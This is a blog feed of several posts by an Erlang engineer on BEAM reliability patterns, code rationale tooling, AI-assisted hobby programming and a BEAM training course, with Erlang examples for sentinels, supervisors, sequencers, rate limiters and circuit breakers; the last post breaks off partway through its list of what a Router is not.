The Shared State of Isolation.

2026-03-29T00:00:00Z

A recent essay, "The Isolation Trap", argues that Erlang's isolation model has structural limits: deadlocks from circular calls, unbounded mailboxes, and escape hatches like ETS. The HN discussion added production experience:

"All the problems I've had with Erlang have been related to full mailboxes or having one process type handling too many kinds of different messages."

The critique has merit. Circular gen_server:call chains can deadlock (strict archetypes prevent this by directing calls one way, down the supervision tree). The production failures worth solving are more specific.

In The Gnome Village I wrote: "Isolation contains damage. Sharing spreads it." That holds for crashes. Isolation does nothing about slowness. When hundreds of processes hit the same degraded API, they fail independently and simultaneously. Each gnome is an island. Islands that share a coastline flood together when the tide comes in.

Three things break:

Correlated timeouts. A slow dependency causes hundreds of processes to time out at once.
Retry amplification. Each timeout spawns a retry, multiplying load on an already degraded system.
Mailbox flooding. Processes accumulate messages faster than they drain them.

Once the perfect storm hits, even isolated islands flood. The illusion of perfect isolation shatters.

Three Gatekeepers

Consider a standard payment system under heavy load. To survive the flood, it needs a Gatekeeper at each failure point. Gatekeepers sit at domain boundaries where unbounded input meets bounded capacity. (See Process Archetypes for the full role taxonomy.)

You can't stop the tide, but you can decide where the water is allowed to flow.

A circuit breaker sits in front of the fraud API. When the dependency turns unreliable, the breaker trips after three consecutive failures, closes the gate, and starts exponential backoff. Callers get a fast, clear {error, breaker_blocked} instead of another cascading timeout.

A rate limiter on the worker pool uses a token bucket to cap concurrent requests, keeping the inflow below what the system can drain. When tokens are exhausted, callers immediately receive {error, rate_limited}, avoiding queue buildup and unbounded memory growth.

A sentinel (Observer) watches the water level. It monitors the worker group, and when failure rates cross a threshold, it alerts the payment coordinator to switch to a fallback path before the system collapses.

None of these patterns require shared mutable state. They use OTP primitives that already exist: gen_server state machines, supervisor restart budgets, and process monitors.

The Serialization Objection

The essay claims that when a process mailbox becomes a bottleneck, teams invariably reach for ETS, reintroducing the shared state that isolation was supposed to prevent.

But mailbox bottlenecks usually signal role confusion, not an inherent flaw in message passing. A Resource Owner that only holds state and answers questions can handle messages in microseconds. It serves thousands of Workers without a backlog.

It is only when that same process also calls databases, formats responses, and logs metrics that it backs up. Split those roles, and the serialized path stays fast. If demand still exceeds capacity, a Gatekeeper bounds the load long before anyone needs to reach for ETS.

ETS, persistent_term, and atomics certainly have legitimate uses. A counter for metrics collection is a controlled, pragmatic relaxation of the model. As one HN commenter put it:

"Message passing is a way of constraining shared memory to the point where it's possible for humans to reason about most of the time."

Full Circle

When a well-designed system faces the same traffic spike, the outcome changes. The system stays responsive, and the failure remains local rather than spreading across the whole system.

If you are building systems that handle money, or any other critical load, follow these three rules:

Put a circuit breaker in front of every external dependency.
Limit concurrency on every worker pool that calls external services.
Define backpressure contracts at every domain boundary.

Isolation gives you crash containment for free, but nothing is truly isolated. To survive slowness and load, you need a good architecture and solid building blocks. That is exactly what domains, flows, and process archetypes provide.

Under the Golden Gate, the water moves fast because the channel is narrow. Systems behave the same way. Constrain the flow, and you get predictable movement. Remove the constraint, and the same water spreads out, slows down, and piles up elsewhere.

References

"The Isolation Trap" by zapwalrus (causality.blog). The essay this post responds to.
HN discussion.

Series: Gnomes, Domains, and Flows

The Gnome Village — processes, isolation, scheduling
Supervisors Are Managers — restart strategies, supervision trees
Gnomes, Domains, and Flows — processes + domains + flows
Domains Own Code and Data — domain boundaries, failure domain grouping
Flows Keep Work Moving — backpressure contracts, four flow types
Putting It Together — payments walkthrough

Series: Process Archetypes

Process Archetypes — the five roles
Workers — one job, pools, fan-out
Resource Owners — entity owners, aggregators
Routers — direction, no flow control
Gatekeepers — circuit breakers, rate limiters, flow controllers
Observers — sentinels, supervisors

For a deeper look at how the BEAM implements processes, heaps, message passing, scheduling, and garbage collection, see The BEAM Book.

Your Code Has No Memory

2026-03-26T00:00:00Z

Many teams can answer what a piece of code does, but far fewer can explain why it exists, what constraint shaped it, which tradeoff led to it, and whether that reasoning still holds, and that gap matters more now because we produce and change code at a pace where the loss of shared understanding is easy to miss until something important breaks.

Source code has no memory

We store source code, commits, pull requests, tickets, and documents, and over time the connections between them stop holding because they are not captured in a way that survives normal development, so branches disappear, tickets move between systems, pull requests capture moments of discussion, and months later the code remains while the reasoning has dissolved into fragments.

This is why a system can look healthy in the metrics we watch and still feel risky to change, since the tests pass, the linter is happy, the modules are named sensibly, and yet no one wants to touch the part that matters because the team no longer remembers which constraints were deliberate and which behaviors are accidental.

Margaret-Anne Storey describes this well in a recent paper and a related post, noting that we have many tools to measure code quality and very few ways to tell whether a team still understands the system or remembers why it was built that way, and that framing is useful because it gives a name to something many teams experience without quite being able to describe it.

It is not just technical debt

Technical debt still matters, since shortcuts accumulate interest and poor structure slows future work, though it only describes the state of the code and says much less about the state of understanding or the availability of the rationale that should guide change.

Storey's terms help here, where cognitive debt is the erosion of shared understanding and intent debt is the absence of explicit rationale, goals, and constraints, and the distinction matters because a codebase can be tidy and still be expensive to change when the team no longer shares a reliable model of how it works or what it is trying to preserve.

That is the failure mode I see most often, where messy code is visible and the deeper issue is that the theory of the system becomes unevenly distributed and the reasons behind earlier decisions were never captured in a form later developers can trust, so every change starts with reconstruction, and reconstruction is slow, error-prone, and rarely visible on a sprint board.

I see the same pattern in agentic development, where an agent can get stuck changing code back and forth, or move in a circle of revisions, because it does not understand why the code changed the last time. When the reason for a change is missing, the agent can still produce plausible edits, but it has no reliable way to tell whether it is preserving an intended constraint or undoing it by accident.

We try to fix it with process

Most teams have mechanisms that look like solutions, with tickets, commits, pull requests, and internal docs, and while all of these can help, they rarely preserve why a specific change exists in a durable way.

The link between these artifacts and the code is weak and optional, so tickets drift away, commit messages compress context, pull requests optimize for approval rather than rationale, and traceability turns into archaeology where the story can be reconstructed only with time and the right people.

That is not a workable model.

There is a real debate here

There is a real debate here, since some argue that documenting intent costs more than it gives back, especially when documentation becomes stale, and prefer to rely on code and tests while making changes based on present needs.

That criticism lands because much documentation is performative, with large documents that stop matching reality and create the appearance of control without helping decisions, and if that is the alternative then skepticism makes sense.

The useful middle ground is to capture rationale when it becomes concrete, since a short decision record, a task file with intent and constraints, or a merge-time summary tied to the change carries more value than large upfront documentation that quickly diverges.

This is starting to matter

This matters more now because AI-assisted development increases output faster than understanding can be built, since manual work forces cognitive effort that builds a model of the system while generated implementations still require that understanding and often leave the team with less of it than the output suggests.

The risk shifts from code quality alone to understanding and rationale, where teams can ship for a while and the cost shows up later during maintenance, onboarding, incidents, or audits.

This is especially visible in regulated environments, where you must explain what changed, who approved it, and why it was done, often for a specific change, and while teams can produce that answer, they do it by searching across systems because rationale is treated as residue instead of part of the change.

What is missing

What is missing is a property of the system itself, where a codebase should let you move from a line of code to the change that introduced it, to the unit of work that authorized it, and to the intent that made it reasonable at the time.

At a minimum, the chain looks like this:

code
  <- commit
    <- task
      <- intent

Teams need a stable route from implementation back to reason, since without it every important question starts from scratch.

That applies to both teams and AI agents, because both need a stable route from implementation back to reason, from code change to intent.

A minimal model

The model can stay small, where each change carries a task identifier and a short statement of intent, branches and commits carry that identifier, tasks live close to the repository, and important decisions are captured in short ADR-style records, allowing tools to reconstruct the trace without relying on memory.

The format matters less than timing and discipline, since the reason needs to be captured while it is still available and in a form that survives time, which is why short decision records written at the moment of choice remain practical.

Shared understanding should be treated as a deliverable, since teams already allocate time for code and tests because those artifacts matter later, and rationale deserves the same treatment in a lighter form because future work depends on it in the same way.

In practice

In practice this needs to live close to the code, so when reading a file the question becomes whether the code can lead you back to the task, the intent, and the decision that shaped it, which separates traceability as paperwork from traceability as a working property.

The editor view stays close to the real traceability chain, because the sidebar shows the current task and task list, the inline annotations tie visible lines to task-linked commits, and the trace panel brings task intent, linked artifacts, and audit history into one place.

In Warrant, the VS Code extension follows simple conventions, reading task records from .warrant/tasks/, inferring the current task from the branch, and using git blame with task-linked commits to annotate lines, so the editor can show task context, intent, and history because the repository contains enough structured intent to reconstruct the story.

One important constraint

The repository needs to remain the source of truth, so tasks, intent, and decisions travel with the code and cloning the repository gives both the system and the context needed to understand it, while external systems can still add value without being the only place where rationale lives.

A separate concern: proof

Some environments need independent proof that a change followed an approved path, and in those cases a separate service can observe commits and merges and record an append-only account, allowing the repository to hold the work while the external system acts as a witness.

This avoids the trap where compliance systems own the work, since if the repository owns the work and the external service records events then you get evidence without moving the source of truth.

This is the space I have been working on with Warrant, where each change carries a small task record with an ID, intent, and decision, and when it reaches main the merge can be tied back to that task and optionally recorded in an append-only ledger.

That reduces the failure mode where rationale disappears after the pull request is closed. The tool itself is narrow and Git-native, and the point is the same as in the editor view above: preserve the why while the team still knows it.

What this changes

The practical effect is small and noticeable, since debugging starts from intent instead of guesswork, audits become closer to queries, onboarding improves because reasoning is visible, and AI-generated code becomes easier to place inside a controlled workflow because constraints and decisions are explicit.

More importantly, it means that when you come back to a piece of code and ask the question from the beginning, why does this exist, you are less likely to start from guesswork. Software systems need memory outside human recollection, since code stores behavior and Git stores change history while teams still need a durable way to store the reasons that connect one to the other. Without that, understanding erodes quietly and the system becomes harder to explain, evolve, and trust.

If you want to try it

If you want to try it, start with a few conventions where task IDs are in branches and commits, short intent records live next to the code, and lightweight ADRs capture decisions with lasting consequences, since consistency matters more than tooling and if the chain from code to change to intent exists reliably then the system starts to retain memory instead of depending on whoever still remembers the story.

If you're interested, you can find the current implementation in the Warrant repository.

The Late-Night Feeling of Wonder

2026-03-16T00:00:00Z

The Late-Night Feeling of Wonder

In 1980 my ten years older sister started university and brought home a TI-58 programmable calculator. I was ten years old. I found out you could give it instructions and it would follow them. That was enough. I was done for.

Within a year I had convinced my parents to buy a VIC-20. I learned BASIC, then 6502 assembler, because BASIC was too slow for what I wanted to do. On an 8-bit machine the assembler is close enough to touch. You see exactly what the CPU does, every register, every cycle. Then came the Commodore 64.

The C64 years

The C64 was the real playground. I would sit down at ten in the evening thinking "I will just get this one thing working." In Haparanda, in northern Sweden, winter darkness arrives at three in the afternoon and stays until nine the next morning. The screen was the only light in the room. The world shrank to the keyboard and the monitor, and hours disappeared. At three in the morning I would look up and realize school started in five hours. It was not work or homework. I was still there because I wanted to see what more the machine could do.

I got pixels on the screen and learned to move them. I got sounds out of the SID chip. I built text adventures, entire worlds made of words and conditional logic. I started writing my own version of M.U.L.E., then my own version of Elite. Neither was ever finished. Neither needed to be. At some point I built a turtle robot, two wheels and a pen that could move up and down, controlled from the C64. It drew circles on paper. Code that reached into the physical world and left marks on it.

Each project raised the stakes: calculator to screen to sound to worlds to physical robots. I would discover a new capability and immediately try to build five things with it. Most of them never got finished. The joy was in the discovery that the machine would do what you told it to do.

From C64 to compilers

University extended the same feeling into deeper territory. At Uppsala I studied computer science and later wrote a PhD on native code compilation for Erlang. After that came a postdoc at EPFL, working on compiler design and the early days of Scala. The loop was the same. Here is a machine. How far can you push it?

The academic years kept the discovery loop alive. You could spend months on a single optimization pass, trying approaches that might not work, measuring the results, trying again. The feedback was slower than the C64 sessions, measured in benchmark runs rather than pixels on a screen. The underlying drive was the same: find out what the machine can do, then make it do more.

Some nights ended in a working optimization. Some nights ended in Unreal Tournament.

The long middle

Then programming became my profession in a different sense. Over twenty years I built systems for banks, telecom companies, and startups. Erlang, distributed systems, the kind of software where reliability is not optional. I learned the craft of building things that serve real users under real constraints: architecture reviews, test coverage, deployment pipelines, incident response. The discipline of engineering.

The all-night sessions stopped. You do not stay up until three when you have production systems to keep running and people depending on your judgment the next morning. The joy got channeled into something more measured and more useful.

The late nights that remained were incidents. A live bug in a runtime system, logs streaming, dashboards lighting up, people asking for updates. Solving those problems can be satisfying. It is a different kind of adrenaline. But it is not the same as staying up because a sprite finally moved across the screen.

The old blogs knew

There is an interesting pattern if you read the old blogs from Steve Yegge, Jeff Atwood, and Joel Spolsky today. They were writing about why programming used to feel joyful, and many of the things they described are suddenly becoming true again.

In the early days the barrier between idea and code was small. A programmer had a REPL, a compiler, a text editor, and curiosity. Yegge wrote huge systems in scripting languages because it was fun. Joel built startups with tiny teams. Atwood wrote Stack Overflow partly as a side project experiment. You wrote code because you wanted to see what would happen.

Then enterprise software happened. Frameworks on top of frameworks, dependency graphs with thousands of packages, build pipelines that take longer than a coffee break. You stopped writing programs and started operating infrastructure. Yegge ranted about it. Atwood joked about it. Joel turned it into business advice.

If you step back, there is a strange cycle. The 1980s and 1990s: fast feedback, experimentation, joy. The enterprise era, roughly 2000 to 2020: heavy frameworks, process, infrastructure. The AI-assisted era, 2023 onward: fast feedback again. Joel wrote during phase two, often pointing at the friction. In essays like "The Law of Leaky Abstractions," "Things You Should Never Do," and "The Joel Test," he kept returning to the same principles: fast feedback loops, simple tools, programmers working in flow, minimal friction between idea and running code. He never wrote about vibe coding. He described the conditions that make it work.

The REPL is back

The cycle time between idea and running code is collapsing again. LLM coding assistants, interactive notebooks, fast local tooling. The friction Joel spent years complaining about is shrinking, and that is the real reason people talk about vibe coding. It is not about laziness. It is about latency, and latency kills creativity.

Yegge made an observation years ago that still holds: great programmers build systems that amplify curiosity, not systems that enforce process. Languages like Lisp, Python, Erlang, and Smalltalk always had this property. You can poke a running Erlang system, change it while it lives, explore it. AI tools unintentionally recreate the same kind of environment. Not perfectly. Enough to bring back the feeling of discovery.

Joel once wrote that great programmers are dramatically more productive than average ones. AI tools may end up amplifying exactly that effect. The people who already loved exploring systems late at night will simply explore much faster.

The return

It came back in stages. In late 2022 I started a Java project by asking ChatGPT questions and copying the answers into my editor. Clumsy, slow, and still faster than writing boilerplate from scratch. By mid-2023 I was doing the same with Erlang world generation code and ML model tuning. The loop was: ask, copy, paste, fix, repeat.

In 2024, Copilot moved into my editor and the loop tightened. I started a life organizer in January, a productivity server in February with a commit message that read "Add a ChatGPT connection," an agent framework in March. Four projects in eight weeks. I recognized the pattern immediately: discover a new capability, start five things at once. The C64 again.

Then in June 2025, the third shift. I added a CLAUDE.md file to Solar Frontiers, an Erlang game project that had been sitting at fourteen commits over ten months.

Solar Frontiers. An Erlang-powered strategy game. Fourteen commits in ten months, then six hundred and fifteen after adding AI to the workflow.

Since then Solar Frontiers alone has accumulated more than six hundred commits. It was not an exception. In nine months of vibe coding across my projects, the numbers add up to nearly three thousand commits and more than a million lines of code written, roughly eleven commits a day.

On the C64 I might have written fifty lines in an evening and felt like I had conquered the world. The scale changed. The rhythm is back.

By early 2026, the project list looked like this: a life organizer, a home dashboard running on a Raspberry Pi with Nerves, a weekly menu generator that automatically orders groceries from Mathem, a kids chore controller, a door controller for the house, Modbus integrations to the Nibe heat pump and the FTX ventilation system, a voice pipeline prototype, a book library app, LAN party tools for Unreal Tournament, a gaming monitor, a Discord bot. Compare that to the C64 list: text adventures, M.U.L.E. clone, Elite clone, turtle robot. Same pattern. Ambitious, broad, driven by curiosity.

The difference is speed. On the C64 it took weeks to get sprites moving. With AI tools you can have a working dashboard in an evening. The feeling is the same.

A note on production

I would not push vibe-coded software to a fintech production system today. The quality is not there for high-stakes systems. I believe the improvements have been exponential since the 1940s. The early part of an exponential curve looks flat, and the flat part lasted long enough that several generations of researchers concluded AI was permanently limited. The late part looks vertical, and we are entering it now. That is a topic for another post.

There are also harder questions around AI-assisted development: training data, copyright, security risks, and the occasional spectacular failure when a model confidently deletes the wrong database. Those questions deserve serious discussion. This essay is about something simpler: why the machine suddenly feels interesting again.

The same feeling

The turtle robot drew circles on paper. The door controller opens the front door. Code reaching into the physical world, same feeling, forty years apart. The unfinished M.U.L.E. clone and the ever-growing Aurora life organizer. Same "I will just..." at ten in the evening. Same "school in five hours" at three in the morning, except now it is "meeting in five hours."

The thing that got me into programming is still here. It just needed a new form. Even in Stockholm, in the winter, the darkness outside makes the screen feel like the whole universe.

Many years ago, in my PhD thesis, I quoted a line from a Dan Fogelberg song:

"The days are empty and the nights are unreal."

Why I Built a Course on the BEAM

2026-03-11T00:00:00Z

Why I Built a Course on the BEAM

Programming languages shape how we think. When the tool matches the problem, work becomes calmer. You see the system more clearly, and you spend less time fighting accidental complexity.

That lesson is one reason I keep returning to the BEAM, the runtime behind Erlang and Elixir.

At HappiHacking, we spend a lot of time on systems that need to stay reliable, maintainable, and fast. In that kind of work, the BEAM keeps proving its value. It gives you cheap processes, clear failure boundaries, supervision, message passing, and a runtime designed for long-lived systems. Those qualities matter when downtime is expensive and concurrency is part of the job.

Many Teams Still Meet the BEAM Only at the Surface

They learn enough Erlang or Elixir to ship features. They use OTP behaviours, build services, and get real value quickly. Then the harder questions arrive. A mailbox starts growing. Latency becomes uneven across nodes. Memory behaves differently under real traffic. Recovery takes longer than expected.

That gap between using the BEAM and understanding the BEAM is where this course lives.

A Stronger Mental Model

I built this course for developers who want a stronger mental model of the runtime. The aim is simple: help you reason more clearly about why BEAM systems behave as they do, and what to do when they do not behave the way you expected.

In the course, we look at schedulers, processes, mailboxes, memory behaviour, garbage collection, messaging, and the failure modes that tend to appear under real load. We also cover how to design concurrent systems using process archetypes and the Gnome Village metaphor, a way of thinking about BEAM systems as small, specialized workers cooperating in a shared environment.

Better mental models usually lead to better designs, faster diagnosis, and fewer avoidable surprises in production. You should leave with a clearer way to inspect live systems, better instincts for what to measure, and a firmer grasp of how to tune a system.

Who This Course Is For

This course is especially useful for teams building backend systems where reliability matters. Fintech is one obvious example, but it is not the only one. Messaging systems, internal platforms, transactional services, and other high-concurrency backends face many of the same pressures. If your system needs to survive changing load and keep its shape over time, a deeper understanding of the BEAM pays back quickly.

I have spent much of my career working close to languages, runtimes, and systems that need to keep working. My PhD focused on compiling Erlang. Later I worked on Scala at EPFL. At Klarna, I joined early enough to help shape both the system and the engineering organization as it grew. Across those experiences, the pattern has been fairly consistent: performance follows understanding, and reliable systems begin with the right mental model.

That is what this course is meant to provide.

It is for developers who want to move beyond cargo-cult OTP. It is for teams that want calmer operations, better debugging habits, and more confidence when systems come under pressure. It is for people who suspect that the BEAM has more to teach them than syntax and conventions.

Join a Session

The next public session is at ElixirConf EU in Malaga on April 22, a full-day training the day before the conference. Early bird pricing ends March 11.

You can also book a private workshop for your team. For private training, I can tailor the material to your architecture, your failure modes, and the questions your team is already facing.

Book a private workshop

Observers: The Watchful Gnomes of the Village

2025-12-12T00:00:00Z

Observers: The Watchful Gnomes of the Village

Some gnomes in the village don’t build bridges, bake bread, or carry mail. They stand on a hill, hold a lantern, and keep an eye on everyone else. When something goes wrong, they react. They don’t fix the problem themselves—they simply make sure the right thing happens next.

These are Observers. Their job is to keep the system healthy.

Observers come in two useful forms: Sentinels and Supervisors.

Sentinels

A Sentinel watches a process or a condition and acts when reality drifts away from expectations. Timeouts, deadlines, stalled workers, mailbox growth, missing responses—these are all things a Sentinel can detect.

Minimal example

handle_info(check, #state{pid = Pid, threshold = N} = S) ->
    case process_info(Pid, message_queue_len) of
        {message_queue_len, Len} when Len > N ->
            S#state.alert_target ! {overload, Pid, Len};
        _ ->
            ok
    end,
    erlang:send_after(1000, self(), check),
    {noreply, S}.

A small loop, a single condition, and an alert. That’s a Sentinel.

Supervisors

Supervisors are the managers of the gnome village. They don’t write code, carry letters, or fix bridges. They make sure the gnomes who do those things show up for work, behave themselves, and get replaced when they fall into the river.

A Supervisor enforces the structure of the system. It starts processes, restarts them when they crash, and escalates when failures repeat. It is the backbone of OTP fault-tolerance.

Supervisors never do real work. They only make sure the workers are alive, in the right teams, and following the rules. If a Supervisor starts doing work, it has stopped being a manager and started being a liability.

Conceptual example

init([]) ->
    {ok, {
        {one_for_one, 5, 10},
        [
            {worker1, {worker1, start_link, []}, permanent, 5000, worker, []}
        ]
    }}.

One rule: workers may fail. Supervisors may not.

A supervisor can still terminate when its children fail too quickly and the restart rules require escalation. That is intentional. It pushes failure upward until it reaches a level that can handle it.

But a supervisor should never fail because of its own code. It should have no business logic, no parsing, no calculations and nothing that can crash by accident. Its job is to start children, restart them and apply the restart strategy.

This separation is why large BEAM systems stay stable even when individual processes fail repeatedly. Workers fail often. Supervisors fail only when the failure belongs at their level.

They keep the rest of the gnomes working without taking the whole village down. When things really go wrong, they escalate the alarm cleanly and predictably up the tree.

The Observer Mindset

Observers have a simple philosophy:

Let processes run freely.
Let them crash when they must.
Notice when they do.
Clean up, restart, or alert.

Observers are the safety rails of the system.

Summary

Observers keep the system alive:

Sentinels watch and raise alerts.
Supervisors restart and maintain structure.

Gatekeepers: The Traffic Controllers of the Gnome Village

2025-12-08T00:00:00Z

Gatekeepers: The Traffic Controllers of the Gnome Village

In every gnome village you eventually discover a small, serious-looking gnome standing on a bridge, holding a sign.

You Shall Not Pass!

He is not there to forward messages. He is not there to do work. He is there to limit how much chaos reaches the rest of the village.

That gnome is the Gatekeeper.

Gatekeepers control flow: how fast, how often, and under what conditions messages move into the next part of the system. They protect scarce resources, absorb bursts, and stop cascading failures from spreading downstream.

A Gatekeeper is not a Router.

A Gatekeeper is not a Worker.

A Gatekeeper cares about when something happens, not just where it goes.

This post defines the Gatekeeper archetype, shows the common subtypes, and explains how to use them without accidentally turning them into bottlenecks.

What Is a Gatekeeper?

A Gatekeeper enforces one rule:

“Not everything gets through. And not everything gets through at once.”

Where Workers do work and Routers forward messages, Gatekeepers regulate traffic:

They serialize or sequence flows.
They protect slow or fragile subsystems.
They turn unbounded input into bounded throughput.
They absorb bursts and provide backpressure.
They cut off failing downstream systems before everything collapses.

A Gatekeeper owns coordination, not domain state.

What Gatekeepers Are Not

To keep this archetype clean, two clarifications:

Not a Router

Gatekeepers do not:

decide destinations
classify messages
route between processes

A Router shapes direction. A Gatekeeper shapes rate and order.

Not a Resource Owner

Gatekeepers do not:

store domain data
own sessions or connections
maintain business invariants

A Resource Owner holds state. A Gatekeeper holds flow control.

Gatekeeper Subtypes

Gatekeepers appear in three main forms. Every one of them exists to prevent a subsystem from being overloaded or corrupted by timing.

1. Flow Controller

also called Sequencer or Coordinator

Ensures only one message at a time enters a subsystem. Useful when the target must process tasks in strict order or must not have concurrent invocations.

Sometimes “one at a time” is not enough. You also need in-order delivery, even if messages arrive out of order.

A Sequencer Gatekeeper works a bit like TCP:

each message carries a sequence number,
the Sequencer keeps track of the next expected number,
out-of-order messages are buffered,
only in-order messages are forwarded.

The Gatekeeper does not do the work. It only decides when a message is allowed to move on.

Here is a minimal, slightly contrived example:

%% sequencer.erl
-record(state, {
    next_seq    = 0,          %% next expected sequence number
    pending     = #{} ,       %% #{Seq => Msg}
    downstream                 %% pid() of the real worker
}).

%% Public API: send a sequenced message
send(Pid, Seq, Msg) ->
    gen_server:cast(Pid, {seq, Seq, Msg}).

%% Callbacks

handle_cast({seq, Seq, Msg}, #state{next_seq = Next, pending = Pending} = S) ->
    %% Store message in pending buffer
    Pending1 = maps:put(Seq, Msg, Pending),
    %% Try to flush any in-order messages
    S1 = S#state{pending = Pending1},
    {noreply, flush_in_order(S1)}.

flush_in_order(#state{next_seq = Next,
                      pending  = Pending,
                      downstream = Down} = S) ->
    case maps:take(Next, Pending) of
        {Msg, Pending1} ->
            %% We have the next message, forward it
            gen_server:cast(Down, {ordered, Next, Msg}),
            flush_in_order(S#state{next_seq = Next + 1,
                                   pending  = Pending1});
        error ->
            %% Missing message; stop here and wait
            S
    end.

This Sequencer:

accepts {Seq, Msg} in any order,
forwards them to Down in strict sequence order,
buffers anything that arrives early,
never touches the domain logic of Msg.

In other words, the Sequencer is a tiny user-space TCP: it uses sequence numbers and a buffer to guarantee ordered delivery, without doing the work itself.

2. Rate Limiter

Controls how often something happens.

Examples:

“Max 100 requests per second to this PSP”
“Only 5 ledger writes per second per user”
“Batch up to N messages before flushing”

Rate limiters create backpressure:

If upstream is too fast → they wait or reject.
If downstream is slow → they smooth the load.

Typical pattern:

-record(state, {
    tokens,
    max_tokens,
    refill_ms
}).

%% Start by scheduling the first refill:
init(MaxTokens, RefillMs) ->
    erlang:send_after(RefillMs, self(), refill),
    {ok, #state{tokens = MaxTokens,
                max_tokens = MaxTokens,
                refill_ms = RefillMs}}.


%% A simple token bucket
handle_call({request, Msg}, _From, #state{tokens = T} = S) when T > 0 ->
    Next = S#state{tokens = T - 1},
    forward(Msg),
    {reply, ok, Next};

handle_call({request, _Msg}, _From, S) ->
    {reply, {error, rate_limited}, S}.

%% Refill on each tick
handle_info(refill, #state{max_tokens = Max, refill_ms = Ms} = S) ->
    %% Reset token count
    S1 = S#state{tokens = Max},

    %% Schedule next refill
    erlang:send_after(Ms, self(), refill),

    {noreply, S1}.

Gatekeepers don’t try to be “helpful.” They enforce limits.

3. Circuit Breaker

A Circuit Breaker is the gnome who says:

“We tried this four times and it exploded every time. Maybe let’s not.”

A Circuit Breaker stops calls to a subsystem that is failing and only retries after a cooldown.

About the Words “Open” and “Closed”

The term circuit breaker comes from electricity. Unfortunately the metaphor brings its vocabulary with it:

open → no current flows → no calls allowed

closed → current flows → calls allowed

My little brain finds this backwards for software. “Open” sounds like things should pass through. “Closed” sounds like nothing should.

To avoid confusing myself, I use passing (calls allowed) and blocked (calls rejected). If you prefer open and closed, that’s fine, just be careful. The metaphor is older and stronger than you think, and it tends to drag its meaning along with it.

Example:

-record(state, {
    mode           = passing,   %% passing | blocked
    failures       = 0,
    threshold      = 3,         %% failures before blocking
    backoff_ms     = 1000,      %% current backoff
    min_backoff_ms = 1000,
    max_backoff_ms = 30000,
    retry_at_ms    = 0,         %% monotonic time in ms
    target,                     %% pid() or {Mod, Fun} etc
    call_timeout   = 5000       %% ms
}).

%% Public API
%% A guarded call through the breaker
call(Pid, Request) ->
    gen_server:call(Pid, {call, Request}).

handle_call({call, Request}, _From, S0) ->
    Now = now_ms(),
    case S0#state.mode of
        passing ->
            do_checked_call(Request, S0, Now);

        blocked ->
            case Now >= S0#state.retry_at_ms of
                false ->
                    %% Still blocked, do not hit downstream at all
                    {reply, {error, breaker_blocked}, S0};
                true ->
                    %% Retry window has opened: allow one trial call
                    do_checked_call(Request, S0, Now)
            end
    end.

now_ms() ->
    erlang:monotonic_time(millisecond).

do_checked_call(Request, S0, Now) ->
    case safe_call(S0#state.target, Request, S0#state.call_timeout) of
        {ok, Result} ->
            %% Success: reset failures, mode, and backoff
            S1 = S0#state{
                mode        = passing,
                failures    = 0,
                backoff_ms  = S0#state.min_backoff_ms,
                retry_at_ms = 0
            },
            {reply, {ok, Result}, S1};

        {error, Reason} ->
            handle_failure(Reason, S0, Now)
    end.

safe_call(Target, Request, Timeout) when is_pid(Target) ->
    try gen_server:call(Target, Request, Timeout) of
        Reply -> {ok, Reply}
    catch
        Class:Error ->
            {error, {Class, Error}}
    end;
safe_call({M, F}, Request, Timeout) ->
    %% or whatever abstraction you like
    try M:F(Request, Timeout) of
        Reply -> {ok, Reply}
    catch
        Class:Error ->
            {error, {Class, Error}}
    end.

handle_failure(Reason, S0, Now) ->
    Fail1 = S0#state.failures + 1,
    case Fail1 >= S0#state.threshold of
        false ->
            %% Below threshold: still passing, but report failure
            S1 = S0#state{failures = Fail1},
            {reply, {error, {downstream_failed, Reason}}, S1};

        true ->
            %% Threshold reached: switch to blocked and back off
            Backoff0 = S0#state.backoff_ms,
            Max      = S0#state.max_backoff_ms,
            Backoff1 = min(Backoff0 * 2, Max),
            RetryAt  = Now + Backoff1,
            S1 = S0#state{
                mode        = blocked,
                failures    = Fail1,
                backoff_ms  = Backoff1,
                retry_at_ms = RetryAt
            },
            {reply, {error, {downstream_failed,
                             Reason, breaker_blocked}}, S1}
    end.

We use exponential backoff with a cap: start at min_backoff_ms double each time never exceed max_backoff_ms. On the first success after failures, we reset backoff to min_backoff_ms.

Behaviour in plain words

While things work: mode = passing, all calls go through failures reset to 0
When failures pile up (≥ threshold): breaker enters mode = blocked sets retry_at_ms = now + backoff_ms returns {error, breaker_blocked} without touching the target
After the backoff period: first caller after retry_at_ms will trigger a trial call if it succeeds: reset to passing if it fails: stay blocked, increase backoff, set new retry_at_ms

This is what you want in front of a flaky PSP or slow third-party service: protect the rest of the system, limit damage, and probe occasionally for recovery.

Gatekeepers and Backpressure

Backpressure is the polite way of saying:

“Slow down. Or no.”

Gatekeepers apply backpressure by:

delaying messages
rejecting messages
collapsing bursts
pushing the problem upstream instead of downstream

Routers do not do this. Workers do not do this. Only Gatekeepers regulate flow.

Gatekeepers and Isolation Boundaries

Gatekeepers often sit at domain boundaries:

between API → ledger
between ledger → PSP
between ingestion → analytics
between users → sessions

Anywhere unbounded input meets bounded capacity, you need a Gatekeeper.

A Note About Latency

Gatekeepers introduce latency on purpose. This is not a bug.

Rate limiters smooth spikes
Flow controllers enforce serialization
Circuit breakers prevent retries from spiraling

In the BEAM, a few microseconds of routing latency is irrelevant compared to the stability gained.

Summary

Gatekeepers protect the system from excess:

Flow Controllers serialize work
Rate Limiters regulate volume
Circuit Breakers isolate failure

Where Routers shape direction, Gatekeepers shape timing. They are the village’s quiet traffic controllers, ensuring the rest of the gnomes can do their work without panic.

Routers: Processes That Only Decide Where Stuff Goes

2025-11-26T00:00:00Z

Routers: The Gnome Village Mailmen

Routers are the mailmen of the gnome village. They don’t bake bread, run shops, or manage anything. They stand at the sorting table, look at the envelope, read the address, and forward the message to the right place.

That is the entire job description. If a Router starts doing anything other than sorting and delivering mail, it has stopped being a Router and started being something else.

This post defines the Router archetype, shows the common subtypes, and explains how to keep Routers from drifting into Gatekeeper or Observer territory.

What is a Router?

A Router does one thing, in four small steps:

Receive a message
(Optionally) inspect it
Decide where it should go
Forward it

Nothing more.

Preferably with no side effects, no domain logic, no shared state, and no flow control. Occasional logging or trivial routing logic is fine, but anything beyond that belongs to another archetype.

Routers shape message flow. They do not own it, regulate it, or interpret it. They simply send each message to its destination.

What a Router Is Not

Before we define the subtypes, it’s important to keep the boundaries clean.

A Router is not a Gatekeeper. It does not:

limit, throttle, or sequence messages
enforce ordering
block or regulate flow
protect a resource

A Router is not an Observer. It does not:

monitor 'DOWN' messages
restart failing processes
track health
enforce invariants

A Router is not a Resource Owner. It does not:

hold domain state
own a session, connection, or user
aggregate or accumulate data

